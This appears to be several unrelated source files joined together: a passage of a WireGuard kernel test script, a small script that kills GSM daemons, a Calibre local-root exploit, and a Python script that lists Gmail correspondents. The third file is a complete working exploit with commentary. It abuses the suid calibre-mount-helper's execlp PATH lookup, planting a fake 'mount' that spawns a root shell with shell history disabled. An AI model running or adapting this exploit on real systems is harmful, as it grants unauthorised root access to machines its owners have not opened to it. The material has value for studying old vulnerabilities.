192.168.241.2 # Ping over IPv6 n2 ping6 -c 10 -f -W 1 fd00::1 n1 ping6 -c 10 -f -W 1 fd00::2 # TCP over IPv4 n2 iperf3 -s -1 -B 192.168.241.2 & waitiperf $netns2 n1 iperf3 -Z -t 3 -c 192.168.241.2 # TCP over IPv6 n1 iperf3 -s -1 -B fd00::1 & waitiperf $netns1 n2 iperf3 -Z -t 3 -c fd00::1 # UDP over IPv4 n1 iperf3 -s -1 -B 192.168.241.1 & waitiperf $netns1 n2 iperf3 -Z -t 3 -b 0 -u -c 192.168.241.1 # UDP over IPv6 n2 iperf3 -s -1 -B fd00::2 & waitiperf $netns2 n1 iperf3 -Z -t 3 -b 0 -u -c fd00::2 } [[ $(ip1 link show dev wg0) =~ mtu\ ([0-9]+) ]] && orig_mtu="${BASH_REMATCH[1]}" big_mtu=$(( 34816 - 1500 + $orig_mtu )) # Test using IPv4 as outer transport n1 wg set wg0 peer "$pub2" endpoint 127.0.0.1:2 n2 wg set wg0 peer "$pub1" endpoint 127.0.0.1:1 # Before calling tests, we first make sure that the stats counters and timestamper are working n2 ping -c 10 -f -W 1 192.168.241.1 { read _; read _; read _; read rx_bytes _; read _; read tx_bytes _; } < <(ip2 -stats link show dev wg0) (( rx_bytes == 1372 && (tx_bytes == 1428 || tx_bytes == 1460) )) { read _; read _; read _; read rx_bytes _; read _; read tx_bytes _; } < <(ip1 -stats link show dev wg0) (( tx_bytes == 1372 && (rx_bytes == 1428 || rx_bytes == 1460) )) read _ rx_bytes tx_bytes < <(n2 wg show wg0 transfer) (( rx_bytes == 1372 && (tx_bytes == 1428 || tx_bytes == 1460) )) read _ rx_bytes tx_bytes < <(n1 wg show wg0 transfer) (( tx_bytes == 1372 && (rx_bytes == 1428 || rx_bytes == 1460) )) read _ timestamp < <(n1 wg show wg0 latest-handshakes) (( timestamp != 0 )) tests ip1 link set wg0 mtu $big_mtu ip2 link set wg0 mtu $big_mtu tests ip1 link set wg0 mtu $orig_mtu ip2 link set wg0 mtu $orig_mtu # Test using IPv6 as outer transport n1 wg set wg0 peer "$pub2" endpoint [::1]:2 n2 wg set wg0 peer "$pub1" endpoint [::1]:1 tests ip1 link set wg0 mtu $big_mtu ip2 link set wg0 mtu $big_mtu tests # Test that route MTUs work with the padding ip1 link set wg0 mtu 1300 ip2 link set wg0 mtu 1300 n1 wg set wg0 peer "$pub2" endpoint 127.0.0.1:2 n2 wg set wg0 peer "$pub1" endpoint 127.0.0.1:1 n0 iptables -A INPUT -m length --length 1360 -j DROP n1 ip route add 192.168.241.2/32 dev wg0 mtu 1299 n2 ip route add 192.168.241.1/32 dev wg0 mtu 1299 n2 ping -c 1 -W 1 -s 1269 192.168.241.1 n2 ip route delete 192.168.241.1/32 dev wg0 mtu 1299 n1 ip route delete 192.168.241.2/32 dev wg0 mtu 1299 n0 iptables -F INPUT ip1 link set wg0 mtu $orig_mtu ip2 link set wg0 mtu $orig_mtu # Test using IPv4 that roaming works ip0 -4 addr del 127.0.0.1/8 dev lo ip0 -4 addr add 127.212.121.99/8 dev lo n1 wg set wg0 listen-port 9999 n1 wg set wg0 peer "$pub2" endpoint 127.0.0.1:2 n1 ping6 -W 1 -c 1 fd00::2 [[ $(n2 wg show wg0 endpoints) == "$pub1 127.212.121.99:9999" ]] # Test using IPv6 that roaming works n1 wg set wg0 listen-port 9998 n1 wg set wg0 peer "$pub2" endpoint [::1]:2 n1 ping -W 1 -c 1 192.168.241.2 [[ $(n2 wg show wg0 endpoints) == "$pub1 [::1]:9998" ]] # Test that crypto-RP filter works n1 wg set wg0 peer "$pub2" allowed-ips 192.168.241.0/24 exec 4< <(n1 ncat -l -u -p 1111) ncat_pid=$! waitncatudp $netns1 n2 ncat -u 192.168.241.1 1111 <<<"X" read -r -N 1 -t 1 out <&4 && [[ $out == "X" ]] kill $ncat_pid more_specific_key="$(pp wg genkey | pp wg pubkey)" n1 wg set wg0 peer "$more_specific_key" allowed-ips 192.168.241.2/32 n2 wg set wg0 listen-port 9997 exec 4< <(n1 ncat -l -u -p 1111) ncat_pid=$! waitncatudp $netns1 n2 ncat -u 192.168.241.1 1111 <<<"X" ! read -r -N 1 -t 1 out <&4 || false kill $ncat_pid n1 wg set wg0 peer "$more_specific_key" remove [[ $(n1 wg show wg0 endpoints) == "$pub2 [::1]:9997" ]] # Test that we can change private keys keys and immediately handshake n1 wg set wg0 private-key <(echo "$key1") peer "$pub2" preshared-key <(echo "$psk") allowed-ips 192.168.241.2/32 endpoint 127.0.0.1:2 n2 wg set wg0 private-key <(echo "$key2") listen-port 2 peer "$pub1" preshared-key <(echo "$psk") allowed-ips 192.168.241.1/32 n1 ping -W 1 -c 1 192.168.241.2 n1 wg set wg0 private-key <(echo "$key3") n2 wg set wg0 peer "$pub3" preshared-key <(echo "$psk") allowed-ips 192.168.241.1/32 peer "$pub1" remove n1 ping -W 1 -c 1 192.168.241.2 ip1 link del wg0 ip2 link del wg0 # Test using NAT. We now change the topology to this: # ┌────────────────────────────────────────┐ ┌────────────────────────────────────────────────┐ ┌────────────────────────────────────────┐ # │ $ns1 namespace │ │ $ns0 namespace │ │ $ns2 namespace │ # │ │ │ │ │ │ # │ ┌─────┐ ┌─────┐ │ │ ┌──────┐ ┌──────┐ │ │ ┌─────┐ ┌─────┐ │ # │ │ wg0 │─────────────│vethc│───────────┼────┼────│vethrc│ │vethrs│──────────────┼─────┼──│veths│────────────│ wg0 │ │ # │ ├─────┴──────────┐ ├─────┴──────────┐│ │ ├──────┴─────────┐ ├──────┴────────────┐ │ │ ├─────┴──────────┐ ├─────┴──────────┐ │ # │ │192.168.241.1/24│ │192.168.1.100/24││ │ │192.168.1.1/24 │ │10.0.0.1/24 │ │ │ │10.0.0.100/24 │ │192.168.241.2/24│ │ # │ │fd00::1/24 │ │ ││ │ │ │ │SNAT:192.168.1.0/24│ │ │ │ │ │fd00::2/24 │ │ # │ └────────────────┘ └────────────────┘│ │ └────────────────┘ └───────────────────┘ │ │ └────────────────┘ └────────────────┘ │ # └────────────────────────────────────────┘ └────────────────────────────────────────────────┘ └────────────────────────────────────────┘ ip1 link add dev wg0 type wireguard ip2 link add dev wg0 type wireguard configure_peers ip0 link add vethrc type veth peer name vethc ip0 link add vethrs type veth peer name veths ip0 link set vethc netns $netns1 ip0 link set veths netns $netns2 ip0 link set vethrc up ip0 link set vethrs up ip0 addr add 192.168.1.1/24 dev vethrc ip0 addr add 10.0.0.1/24 dev vethrs ip1 addr add 192.168.1.100/24 dev vethc ip1 link set vethc up ip1 route add default via 192.168.1.1 ip2 addr add 10.0.0.100/24 dev veths ip2 link set veths up waitiface $netns0 vethrc waitiface $netns0 vethrs waitiface $netns1 vethc waitiface $netns2 veths n0 bash -c 'printf 1 > /proc/sys/net/ipv4/ip_forward' n0 bash -c 'printf 2 > /proc/sys/net/netfilter/nf_conntrack_udp_timeout' n0 bash -c 'printf 2 > /proc/sys/net/netfilter/nf_conntrack_udp_timeout_stream' n0 iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -d 10.0.0.0/24 -j SNAT --to 10.0.0.1 n1 wg set wg0 peer "$pub2" endpoint 10.0.0.100:2 persistent-keepalive 1 n1 ping -W 1 -c 1 192.168.241.2 n2 ping -W 1 -c 1 192.168.241.1 [[ $(n2 wg show wg0 endpoints) == "$pub1 10.0.0.1:1" ]] # Demonstrate n2 can still send packets to n1, since persistent-keepalive will prevent connection tracking entry from expiring (to see entries: `n0 conntrack -L`). pp sleep 3 n2 ping -W 1 -c 1 192.168.241.1 n1 wg set wg0 peer "$pub2" persistent-keepalive 0 # Do a wg-quick(8)-style policy routing for the default route, making sure vethc has a v6 address to tease out bugs. ip1 -6 addr add fc00::9/96 dev vethc ip1 -6 route add default via fc00::1 ip2 -4 addr add 192.168.99.7/32 dev wg0 ip2 -6 addr add abab::1111/128 dev wg0 n1 wg set wg0 fwmark 51820 peer "$pub2" allowed-ips 192.168.99.7,abab::1111 ip1 -6 route add default dev wg0 table 51820 ip1 -6 rule add not fwmark 51820 table 51820 ip1 -6 rule add table main suppress_prefixlength 0 ip1 -4 route add default dev wg0 table 51820 ip1 -4 rule add not fwmark 51820 table 51820 ip1 -4 rule add table main suppress_prefixlength 0 # suppress_prefixlength only got added in 3.12, and we want to support 3.10+. if [[ $(ip1 -4 rule show all) == *suppress_prefixlength* ]]; then # Flood the pings instead of sending just one, to trigger routing table reference counting bugs. n1 ping -W 1 -c 100 -f 192.168.99.7 n1 ping -W 1 -c 100 -f abab::1111 fi n0 iptables -t nat -F ip0 link del vethrc ip0 link del vethrs ip1 link del wg0 ip2 link del wg0 # Test that saddr routing is sticky but not too sticky, changing to this topology: # ┌────────────────────────────────────────┐ ┌────────────────────────────────────────┐ # │ $ns1 namespace │ │ $ns2 namespace │ # │ │ │ │ # │ ┌─────┐ ┌─────┐ │ │ ┌─────┐ ┌─────┐ │ # │ │ wg0 │─────────────│veth1│───────────┼────┼──│veth2│────────────│ wg0 │ │ # │ ├─────┴──────────┐ ├─────┴──────────┐│ │ ├─────┴──────────┐ ├─────┴──────────┐ │ # │ │192.168.241.1/24│ │10.0.0.1/24 ││ │ │10.0.0.2/24 │ │192.168.241.2/24│ │ # │ │fd00::1/24 │ │fd00:aa::1/96 ││ │ │fd00:aa::2/96 │ │fd00::2/24 │ │ # │ └────────────────┘ └────────────────┘│ │ └────────────────┘ └────────────────┘ │ # └────────────────────────────────────────┘ └────────────────────────────────────────┘ ip1 link add dev wg0 type wireguard ip2 link add dev wg0 type wireguard configure_peers ip1 link add veth1 type veth peer name veth2 ip1 link set veth2 netns $netns2 n1 bash -c 'printf 0 > /proc/sys/net/ipv6/conf/all/accept_dad' n2 bash -c 'printf 0 > /proc/sys/net/ipv6/conf/all/accept_dad' n1 bash -c 'printf 0 > /proc/sys/net/ipv6/conf/veth1/accept_dad' n2 bash -c 'printf 0 > /proc/sys/net/ipv6/conf/veth2/accept_dad' n1 bash -c 'printf 1 > /proc/sys/net/ipv4/conf/veth1/promote_secondaries' # First we check that we aren't overly sticky and can fall over to new IPs when old ones are removed ip1 addr add 10.0.0.1/24 dev veth1 ip1 addr add fd00:aa::1/96 dev veth1 ip2 addr add 10.0.0.2/24 dev veth2 ip2 addr add fd00:aa::2/96 dev veth2 ip1 link set veth1 up ip2 link set veth2 up waitiface $netns1 veth1 waitiface $netns2 veth2 n1 wg set wg0 peer "$pub2" endpoint 10.0.0.2:2 n1 ping -W 1 -c 1 192.168.241.2 ip1 addr add 10.0.0.10/24 dev veth1 ip1 addr del 10.0.0.1/24 dev veth1 n1 ping -W 1 -c 1 192.168.241.2 n1 wg set wg0 peer "$pub2" endpoint [fd00:aa::2]:2 n1 ping -W 1 -c 1 192.168.241.2 ip1 addr add fd00:aa::10/96 dev veth1 ip1 addr del fd00:aa::1/96 dev veth1 n1 ping -W 1 -c 1 192.168.241.2 # Now we show that we can successfully do reply to sender routing ip1 link set veth1 down ip2 link set veth2 down ip1 addr flush dev veth1 ip2 addr flush dev veth2 ip1 addr add 10.0.0.1/24 dev veth1 ip1 addr add 10.0.0.2/24 dev veth1 ip1 addr add fd00:aa::1/96 dev veth1 ip1 addr add fd00:aa::2/96 dev veth1 ip2 addr add 10.0.0.3/24 dev veth2 ip2 addr add fd00:aa::3/96 dev veth2 ip1 link set veth1 up ip2 link set veth2 up waitiface $netns1 veth1 waitiface $netns2 veth2 n2 wg set wg0 peer "$pub1" endpoint 10.0.0.1:1 n2 ping -W 1 -c 1 192.168.241.1 [[ $(n2 wg show wg0 endpoints) == "$pub1 10.0.0.1:1" ]] n2 wg set wg0 peer "$pub1" endpoint [fd00:aa::1]:1 n2 ping -W 1 -c 1 192.168.241.1 [[ $(n2 wg show wg0 endpoints) == "$pub1 [fd00:aa::1]:1" ]] n2 wg set wg0 peer "$pub1" endpoint 10.0.0.2:1 n2 ping -W 1 -c 1 192.168.241.1 [[ $(n2 wg show wg0 endpoints) == "$pub1 10.0.0.2:1" ]] n2 wg set wg0 peer "$pub1" endpoint [fd00:aa::2]:1 n2 ping -W 1 -c 1 192.168.241.1 [[ $(n2 wg show wg0 endpoints) == "$pub1 [fd00:aa::2]:1" ]] # What happens if the inbound destination address belongs to a different interface as the default route? ip1 link add dummy0 type dummy ip1 addr add 10.50.0.1/24 dev dummy0 ip1 link set dummy0 up ip2 route add 10.50.0.0/24 dev veth2 n2 wg set wg0 peer "$pub1" endpoint 10.50.0.1:1 n2 ping -W 1 -c 1 192.168.241.1 [[ $(n2 wg show wg0 endpoints) == "$pub1 10.50.0.1:1" ]] ip1 link del dummy0 ip1 addr flush dev veth1 ip2 addr flush dev veth2 ip1 route flush dev veth1 ip2 route flush dev veth2 # Now we see what happens if another interface route takes precedence over an ongoing one ip1 link add veth3 type veth peer name veth4 ip1 link set veth4 netns $netns2 ip1 addr add 10.0.0.1/24 dev veth1 ip2 addr add 10.0.0.2/24 dev veth2 ip1 addr add 10.0.0.3/24 dev veth3 ip1 link set veth1 up ip2 link set veth2 up ip1 link set veth3 up ip2 link set veth4 up waitiface $netns1 veth1 waitiface $netns2 veth2 waitiface $netns1 veth3 waitiface $netns2 veth4 ip1 route flush dev veth1 ip1 route flush dev veth3 ip1 route add 10.0.0.0/24 dev veth1 src 10.0.0.1 metric 2 n1 wg set wg0 peer "$pub2" endpoint 10.0.0.2:2 n1 ping -W 1 -c 1 192.168.241.2 [[ $(n2 wg show wg0 endpoints) == "$pub1 10.0.0.1:1" ]] ip1 route add 10.0.0.0/24 dev veth3 src 10.0.0.3 metric 1 n1 bash -c 'printf 0 > /proc/sys/net/ipv4/conf/veth1/rp_filter' n2 bash -c 'printf 0 > /proc/sys/net/ipv4/conf/veth4/rp_filter' n1 bash -c 'printf 0 > /proc/sys/net/ipv4/conf/all/rp_filter' n2 bash -c 'printf 0 > /proc/sys/net/ipv4/conf/all/rp_filter' n1 ping -W 1 -c 1 192.168.241.2 [[ $(n2 wg show wg0 endpoints) == "$pub1 10.0.0.3:1" ]] ip1 link del veth1 ip1 link del veth3 ip1 link del wg0 ip2 link del wg0 # We test that Netlink/IPC is working properly by doing things that usually cause split responses ip0 link add dev wg0 type wireguard config=( "[Interface]" "PrivateKey=$(wg genkey)" "[Peer]" "PublicKey=$(wg genkey)" ) for a in {1..255}; do for b in {0..255}; do config+=( "AllowedIPs=$a.$b.0.0/16,$a::$b/128" ) done done n0 wg setconf wg0 <(printf '%s\n' "${config[@]}") i=0 for ip in $(n0 wg show wg0 allowed-ips); do ((++i)) done ((i == 255*256*2+1)) ip0 link del wg0 ip0 link add dev wg0 type wireguard config=( "[Interface]" "PrivateKey=$(wg genkey)" ) for a in {1..40}; do config+=( "[Peer]" "PublicKey=$(wg genkey)" ) for b in {1..52}; do config+=( "AllowedIPs=$a.$b.0.0/16" ) done done n0 wg setconf wg0 <(printf '%s\n' "${config[@]}") i=0 while read -r line; do j=0 for ip in $line; do ((++j)) done ((j == 53)) ((++i)) done < <(n0 wg show wg0 allowed-ips) ((i == 40)) ip0 link del wg0 ip0 link add wg0 type wireguard config=( ) for i in {1..29}; do config+=( "[Peer]" "PublicKey=$(wg genkey)" ) done config+=( "[Peer]" "PublicKey=$(wg genkey)" "AllowedIPs=255.2.3.4/32,abcd::255/128" ) n0 wg setconf wg0 <(printf '%s\n' "${config[@]}") n0 wg showconf wg0 > /dev/null ip0 link del wg0 allowedips=( ) for i in {1..197}; do allowedips+=( abcd::$i ) done saved_ifs="$IFS" IFS=, allowedips="${allowedips[*]}" IFS="$saved_ifs" ip0 link add wg0 type wireguard n0 wg set wg0 peer "$pub1" n0 wg set wg0 peer "$pub2" allowed-ips "$allowedips" { read -r pub allowedips [[ $pub == "$pub1" && $allowedips == "(none)" ]] read -r pub allowedips [[ $pub == "$pub2" ]] i=0 for _ in $allowedips; do ((++i)) done ((i == 197)) } < <(n0 wg show wg0 allowed-ips) ip0 link del wg0 ! n0 wg show doesnotexist || false ip0 link add wg0 type wireguard n0 wg set wg0 private-key <(echo "$key1") peer "$pub2" preshared-key <(echo "$psk") [[ $(n0 wg show wg0 private-key) == "$key1" ]] [[ $(n0 wg show wg0 preshared-keys) == "$pub2 $psk" ]] n0 wg set wg0 private-key /dev/null peer "$pub2" preshared-key /dev/null [[ $(n0 wg show wg0 private-key) == "(none)" ]] [[ $(n0 wg show wg0 preshared-keys) == "$pub2 (none)" ]] n0 wg set wg0 peer "$pub2" n0 wg set wg0 private-key <(echo "$key2") [[ $(n0 wg show wg0 public-key) == "$pub2" ]] [[ -z $(n0 wg show wg0 peers) ]] n0 wg set wg0 peer "$pub2" [[ -z $(n0 wg show wg0 peers) ]] n0 wg set wg0 private-key <(echo "$key1") n0 wg set wg0 peer "$pub2" [[ $(n0 wg show wg0 peers) == "$pub2" ]] n0 wg set wg0 private-key <(echo "/${key1:1}") [[ $(n0 wg show wg0 private-key) == "+${key1:1}" ]] n0 wg set wg0 peer "$pub2" allowed-ips 0.0.0.0/0,10.0.0.0/8,100.0.0.0/10,172.16.0.0/12,192.168.0.0/16 n0 wg set wg0 peer "$pub2" allowed-ips 0.0.0.0/0 n0 wg set wg0 peer "$pub2" allowed-ips ::/0,1700::/111,5000::/4,e000::/37,9000::/75 n0 wg set wg0 peer "$pub2" allowed-ips ::/0 ip0 link del wg0 declare -A objects while read -t 0.1 -r line 2>/dev/null || [[ $? -ne 142 ]]; do [[ $line =~ .*(wg[0-9]+:\ [A-Z][a-z]+\ [0-9]+)\ .*(created|destroyed).* ]] || continue objects["${BASH_REMATCH[1]}"]+="${BASH_REMATCH[2]}" done < /dev/kmsg alldeleted=1 for object in "${!objects[@]}"; do if [[ ${objects["$object"]} != *createddestroyed ]]; then echo "Error: $object: merely ${objects["$object"]}" >&3 alldeleted=0 fi done [[ $alldeleted -eq 1 ]] pretty "" "Objects that were created were also destroyed." #!/bin/sh pkill -f 'watch.*sqlite3.*hlr' pkill -f 'telnet 127.0.0.1 424[12]' pkill osmo-nitb pkill osmobts-trx pkill osmo-trx pkill lcr pkill ggsn pkill osmo-sgsn tmux kill-session -t GSM #!/bin/sh ####################################### # .50-Calibrer Assault Mount # # by zx2c4 # ####################################### ################################################################################ # Calibre uses a suid mount helper, and like nearly all suid mount helpers that # have come before it, it's badly broken. Let's go through Calibre's faulty code # available at http://pastebin.com/auz9SULi and look at the array of silly # things done, only one of which we actually need to get root. # # In this spot here, we can create a directory owned by root anywhere we want: # # 47 if (!exists(mp)) { # 48 if (mkdir(mp, S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH) != 0) { # 49 errsv = errno; # 50 fprintf(stderr, "Failed to create mount point with error: %s\n", strerror(errsv)); # 51 } # 52 } # # At this point, we can remove any empty directory we want: # # 172 rmd = rmdir(mp); # # And elsewhere, we can create and remove anything_we_want/.some_stupid_marker. # I'm sure you can figure out how to exploit these kinds of things :-P. # # We also get the ability with this wonderful mount-helper to unmount and eject # any device that we want (as root), as well as mount any vfat filesystem that # we'd like. # # Not only that, but we can pass params directly to mount, to some degree: # # 83 execlp("mount", "mount", "-t", "auto", "-o", options, dev, mp, NULL); # # On this line, "dev" and "mp" are controlled by argv[2] and argv[3]. I'm sure # you can find fun things to do with this as well. (There -s and also the man # pages say the last -o is respected, etc etc. Be creative.) # # But there's also something lurking that is way worse in this line. Is that # "execlp" we see? Yes. According to the man pages: # # The execlp(), execvp(), and execvpe() functions duplicate the actions of # the shell in searching for an executable file if the specified # filename does not contain a slash (/) character. # # execlp searchs PATH for where to find "mount", and then runs it as root. And, # with great joy, we find that we can trivially control PATH by setting it # before running the mount helper. So the attack plan is simple: # # 1. Make an executable named "mount" in the current directory that executes # a shell. # 2. PATH=".:$PATH" calibre-mount-helper mount something somethingelse # # And that's it! We have root. The below exploit creates things in a temporary # directory that gets cleaned up and displays some status information along the # way. # # - zx2c4 # 2011-11-1 # # Usage: # $ ./50calibrerassaultmount.sh # [+] Making temporary directory: /tmp/tmp.q5ktd8UcxP # [+] Making mount point. # [+] Writing malicious mounter. # [+] Overriding PATH and getting root. # [+] Cleaning up: /tmp/tmp.q5ktd8UcxP # [+] Checking root: uid=0(root) gid=0(root) groups=0(root) # [+] Launching shell. # sh-4.2# # ################################################################################ set -e echo "#######################################" echo "# .50-Calibrer Assault Mount #" echo "# by zx2c4 #" echo "#######################################" echo echo -n "[+] Making temporary directory: " dir="$(mktemp -d)" echo "$dir" cd "$dir" echo "[+] Making mount point." mkdir mountpoint echo "[+] Writing malicious mounter." cat > mount <<END #!/bin/sh cd / echo "[+] Cleaning up: $dir" rm -rf "$dir" echo -n "[+] Checking root: " id echo "[+] Launching shell." HISTFILE="/dev/null" exec /bin/sh END chmod +x mount echo "[+] Overriding PATH and getting root." PATH=".:$PATH" calibre-mount-helper mount /dev/null mountpoint #!/usr/bin/env python # -*- coding: iso-8859-1 -*- from imaplib import IMAP4_SSL from optparse import OptionParser from email.parser import HeaderParser from email.message import Message from email.utils import getaddresses import sys import os.path import os def main(): parser = OptionParser(usage="%prog --username/-u USERNAME --password/-p PASSWORD --mode/-m MODE [--domain/-d DOMAIN] [--cachedir/-c CACHEDIR]", description="Downloads gmail message headers and determines the set of all e-mail addresses on DOMAIN at which people have emailed you.") parser.add_option("-u", "--username", action="store", type="string", metavar="USERNAME", help="Gmail username") parser.add_option("-p", "--password", action="store", type="string", metavar="PASSWORD", help="Gmail password") parser.add_option("-d", "--domain", action="store", type="string", metavar="DOMAIN", help="Domain name") parser.add_option("-c", "--cachedir", action="store", type="string", metavar="CACHEDIR", help="The directory to cache fetched headers for subsequent runs") parser.add_option("-m", "--mode", action="store", type="string", metavar="SENDERSFILE", help="If the mode is \"to\", this prints a list of all the emails you've received email on. If the mode is \"from\" this prints a list of everyone who has sent you email. If the mode is \"frombyto\" this prints a list of all the addresses that have emailed you sorted by the address at which you received email. If the mode is \"tobyfrom\" this prints a of all the addresses you have received e-mail from sorted and duplicated by who sent the e-mail.") (options, args) = parser.parse_args() if options.username == None or options.password == None: parser.error("Username and password are all required.") if options.mode != "from" and options.mode != "to" and options.mode != "frombyto" and options.mode != "tobyfrom": parser.error("You must specify a mode.") if not options.username.lower().endswith("@gmail.com") and not options.username.lower().endswith("@googlemail.com"): options.username += "@gmail.com" if options.cachedir != None and not os.path.exists(options.cachedir): try: os.makedirs(options.cachedir) except: sys.stderr.write("Could not make cache dir. Skipping cache.\n") options.cachedir = None imap = IMAP4_SSL("imap.gmail.com") imap.login(options.username, options.password) imap.select("[Gmail]/All Mail", True) typ, data = imap.search(None, 'ALL') if typ != "OK": sys.exit(("Could not search properly: %s" % typ)) emailAddresses = {} data = data[0].split() length = len(data) counter = 0 parser = HeaderParser() for num in data: counter += 1 if options.cachedir != None: cachePath = os.path.join(options.cachedir, num) else: cachePath = None if cachePath != None and os.path.exists(cachePath): message = parser.parse(open(cachePath, "r")) else: try: typ, data = imap.fetch(num, '(RFC822.HEADER)') except: sys.stderr.write("Failed to fetch ID %s\n" % num) continue if typ != "OK": sys.stderr.write("Failed to fetch ID %s: %s\n" % (num, typ)) continue if cachePath != None: try: f = open(cachePath, "w") f.write(data[0][1]) f.close() except: sys.stderr.write("Could not write cache for %s" % num) message = parser.parsestr(data[0][1], True) tos = message.get_all('to', []) ccs = message.get_all('cc', []) resent_tos = message.get_all('resent-to', []) resent_ccs = message.get_all('resent-cc', []) all_recipients = getaddresses(tos + ccs + resent_tos + resent_ccs) for address in all_recipients: if len(address) == 2 and (options.domain == None or address[1].endswith(options.domain)): to = address[1].lower() fros = getaddresses(message.get_all('from', [])) fro_addresses = set() for addr in fros: if len(addr) == 2: fro_addresses.add(addr[1].lower()) if options.mode == "to" or options.mode == "tobyfrom": if to not in emailAddresses: emailAddresses[to] = set() emailAddresses[to] = emailAddresses[to].union(fro_addresses) elif options.mode == "from" or options.mode == "frombyto": for fro in fro_addresses: if fro not in emailAddresses: emailAddresses[fro] = set() emailAddresses[fro].add(to) sys.stderr.write("[%s of %s]: Message to %s from %s.\n" % (counter, length, address[1], fro_addresses)) if len(all_recipients) == 0: sys.stderr.write("[%s of %s]: Message has empty To header.\n" % (counter, length)) imap.close() imap.logout() if options.mode == "to" or options.mode == "from": for addr in emailAddresses.keys(): print addr elif options.mode == "tobyfrom" or options.mode == "frombyto": for to, fro in emailAddresses.items(): print to for f in fro: print "\t%s" % f if __name__ == '__main__': main()